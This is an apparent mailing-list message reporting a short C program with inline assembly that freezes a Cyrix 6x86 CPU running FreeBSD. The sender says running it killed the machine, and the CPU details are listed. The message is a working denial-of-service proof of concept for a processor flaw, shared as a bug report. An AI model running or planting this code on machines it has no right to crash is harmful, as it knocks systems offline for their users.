Ragnar Hojland Espinosa [ragnar@redestb.es] mailed me a
modified version of the freeze program that runs on FreeBSD:

int main()
{
   asm ("foo:");
   asm ("cwtl");
   asm ("orl $0xe6ebe020,%eax");
   asm ("jle foo");
   asm ("addb %al,(%eax)");

   return 0;
}

I compiled and ran it, the machine was dead.

CPU: Cyrix 6x86 (486-class CPU)
  Origin = "CyrixInstead"  DIR=0x2231  Stepping=2  Revision=2

Running at 150 mhz.
